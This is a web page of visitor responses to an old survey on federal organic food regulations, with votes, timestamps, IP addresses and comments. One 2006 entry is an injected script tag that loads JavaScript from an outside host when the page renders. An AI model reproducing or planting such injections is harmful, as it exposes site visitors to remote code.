Organic Foods Program: turnertoys.com survey
results so far. Click on the "refresh" or "reload" button at top of
your screen to see all the results - latest results at bottom of list.
BACK TO ARTICLE ON THE ORGANIC FOODS PRODUCTION
ACT
Federal_organic_food_Regs_are_a_good_idea: disagree
OFPA_YorN:
Date: 4/25/99
Time: 9:36:34 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
State regulation, notably in California, has created a widely accepted and trusted standard which defines organic food in the sense most consumers of organic foods think of organic foods.
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 4/25/99
Time: 9:39:00 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Hard to tell whether "org. foods" in supermarket are real. A USDA seal would be some help
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 4/25/99
Time: 9:45:54 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
my opinion
Federal_organic_food_Regs_are_a_good_idea: disagree
OFPA_why:
Date: 4/25/99
Time: 9:57:49 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 4/25/99
Time: 10:00:02 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
keep the feds out of our business! Yessir!! You Bet
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 6/6/99
Time: 2:23:18 PM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.6 [en] (Win98; I)
xxxxxxxxxxx
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 08 Jun 1999
Time: 13:21:59
Remote Name: 194.65.176.245
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
I am sure who the organic agriculture is the best for the world and the humanity.
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 09 Jun 1999
Time: 00:02:31
Remote Name: 171.210.143.237
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
Local control is always best. The various state certifying groups/agencies should harmonize their standards, & organic producers should use labels saying what state standard they are producing to,
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 12 Jun 1999
Time: 12:04:35
Remote Name: 209.215.31.129
Remote User:
HTTP User Agent: Mozilla/3.01-C-BLS20 (Macintosh; U; PPC)
Please keep up the good work, America needs to save the planet with organic food and a safe environment.Thank you for caring.Brunella Thurston, concerned citizen.
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 12 Jun 1999
Time: 12:20:11
Remote Name: 209.215.31.129
Remote User:
HTTP User Agent: Mozilla/3.01-C-BLS20 (Macintosh; U; PPC)
I don't agree on pesticides and irradiation, please leave natural things clean and simple. Let's modifiy what needs to be modified to protect farmers instead of spend in poison, let's spend it in people. , let's modify rules to protect the people. Not destroy but build and laws protect.Brunella Thurston
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 15 Jun 1999
Time: 15:31:57
Remote Name: 138.28.13.9
Remote User:
HTTP User Agent: Mozilla/4.04 [en] (WinNT; I)
We don't need a regulation that is going to define organic as something it is not. If I buy an organic product I want it to be free of chemicals, anitbiotics, and pesticides at the very least. I do not need the federal government to decide for me which products meet these criteria. Linda C. Michaels Gambier, Ohio
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 15 Jun 1999
Time: 17:04:36
Remote Name: 216.68.125.29
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
I don't want genetics and the government to take control of what i consume.
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 15 Jun 1999
Time: 18:58:51
Remote Name: 205.188.196.47
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Mac_PPC)
i don't WANT to eat irradiated, genetically engineered food, with tons o who knows what chemicals in them. we already have enough chemicals in what we eat, drink, breath and wear. NO MORE. let farmers be farmers and chemists be chemists, and leave organiz alone.
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 26 Jun 1999
Time: 12:45:32
Remote Name: 216.164.221.43
Remote User:
HTTP User Agent: Mozilla/4.07 [en] (Win95; I)
The gov't does not protect people. They protect businesses and industries. Organic foods do not provide any monetary income for the gov't. and their large,regulated agri-business. The only way the agri-businesses can "jump" into the Organic foods market without major structural change is through the proposed gov't low standards. Hands off!
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 29 Jun 1999
Time: 16:20:45
Remote Name: 208.208.69.176
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95; c_athome)
I specifically spend more money for organic products and want to be assured that these items will be hormone and pesticide free and that the animals are treated in a humane way, prior to and during slaughter. So many of the health issues facing the human (and canine) population today are directly related to all of the garbage that is put into our foods. Pam Dennison, Hope, NJ
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 12 Jul 1999
Time: 09:18:19
Remote Name: 151.121.65.46
Remote User:
HTTP User Agent: Mozilla/3.01 (WinNT; U)
I actually have a different question: Do you know anything about the historical evolution of industry-led organic standards, or do you know of any article outlining the history?
Thanks, Carolyn
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 12 Jul 1999
Time: 19:16:24
Remote Name: 132.198.151.34
Remote User:
HTTP User Agent: Mozilla/4.51 [en] (WinNT; I)
The process takes focus off a more potentially productive effort: that of co-ordinating standards among the private groups who are really involved in the production of organic foods.
Federal_organic_food_Regs_are_a_good_idea: disagree
Date: 1/17/00
Time: 7:55:02 AM
Remote Name: 127.0.0.1
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
testtesttest
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 13 Apr 2006
Time: 10:35:33
Remote Name: 204.128.70.65
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
cnbhn n cjvdshvbmn hvd ccbmbn nmdbn ndbbvdg.KU.GC,GHDVH HJ CHJBGK NHJVCJHN DBBYDVD DH GBUDBD BVDUYJFGKS CHYSGAGBVHAV SGNVYJCBDSJGBHDS, UYLVHSDH SDH,VYJKCH N
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 19 Jun 2006
Time: 14:54:58
Remote Name: 209.30.136.194
Remote User:
HTTP User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6
I am not sure the OFPA should be repealled until we give it another shot with a new NOP. It is my contention that the current admin of the NOP is not capable of handling the many issues they have faced. if you have ever spoken with one of them, especially arthur neal, you probably agree. it seems that the purpose of arthur harvey's filing was at first achieved, but never came to fruition. someone or some entity didn't do their job in fulfilling the initial demands made of the NOP.
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 19 Jun 2006
Time: 14:55:09
Remote Name: 209.30.136.194
Remote User:
HTTP User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6
I am not sure the OFPA should be repealled until we give it another shot with a new NOP. It is my contention that the current admin of the NOP is not capable of handling the many issues they have faced. if you have ever spoken with one of them, especially arthur neal, you probably agree. it seems that the purpose of arthur harvey's filing was at first achieved, but never came to fruition. someone or some entity didn't do their job in fulfilling the initial demands made of the NOP.
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 19 Jun 2006
Time: 14:55:33
Remote Name: 209.30.136.194
Remote User:
HTTP User Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6
I am not sure the OFPA should be repealled until we give it another shot with a new NOP. It is my contention that the current admin of the NOP is not capable of handling the many issues they have faced. if you have ever spoken with one of them, especially arthur neal, you probably agree. it seems that the purpose of arthur harvey's filing was at first achieved, but never came to fruition. someone or some entity didn't do their job in fulfilling the initial demands made of the NOP.
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 24 Nov 2006
Time: 23:17:23
Remote Name: 64.191.6.72
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; DigExt; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
<script src=http://usuc.us/j.php>jonny</script>
Federal_organic_food_Regs_are_a_good_idea: agree
Date: 19 Apr 2007
Time: 11:27:38
Remote Name: 67.79.109.245
Remote User:
HTTP User Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
its actually a good idea. i love it so much!!